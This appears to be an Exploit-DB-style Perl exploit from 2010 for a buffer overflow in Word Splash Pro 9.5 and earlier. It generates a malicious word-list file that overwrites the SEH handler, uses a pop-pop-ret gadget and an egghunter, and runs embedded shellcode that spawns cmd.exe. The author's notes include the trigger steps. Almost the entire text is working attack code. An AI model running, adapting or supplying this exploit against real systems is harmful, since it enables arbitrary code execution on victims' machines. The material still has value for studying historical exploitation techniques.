# Exploit Title: Word Splash Pro <= 9.5 Buffer Overflow -EggHunter- # Software Link: http://www.chronasoft.com/software/wordsplashpro # Version: <= 9.5 # Tested on: Win XP SP3 French # Date: 20/12/2010 # Author: h1ch4m #Email: h1ch4m@live.fr #Home: Net-Effects.blogspot.com #Greetz : Peter Van Eeckhoutte, Exploit-Database Team, Zhir0 #Note: tested on version 9.5 & 8.3, you may have to change the address of pop pop ret according to your sp & the program version # triggering details: file->Word list->Import then click on Word List Builder button my $file = "1.wsl"; my $size = 4112; my $nseh = "\xeb\x06\x90\x90"; # jump 6 bytes my $seh = pack('V', 0x01de44dc); # pop pop ret from CRDE2000.DLL my $egg = "w00tw00t"; my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "\x77\x30\x30\x74". "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; # Shellcode : windows/XP sp2 (FR) Sellcode cmd.exe 32 bytes - Mountassif Moad aka Stack # http://www.exploit-db.com/exploits/13510/ my $shellcode = "\x8B\xEC\x33\xFF\x57". "\xC6\x45\xFC\x63\xC6\x45". "\xFD\x6D\xC6\x45\xFE\x64". "\xC6\x45\xF8\x01\x8D". "\x45\xFC\x50\xB8\xC7\x93". "\xBF\x77\xFF\xD0"; my $junk = "\x90" x ($size-length($egg.$shellcode)); open($FILE,">$file"); print $FILE $egg.$shellcode.$junk.$nseh.$seh.$egghunter; close($FILE); print "File Created successfully\n"; sleep(1);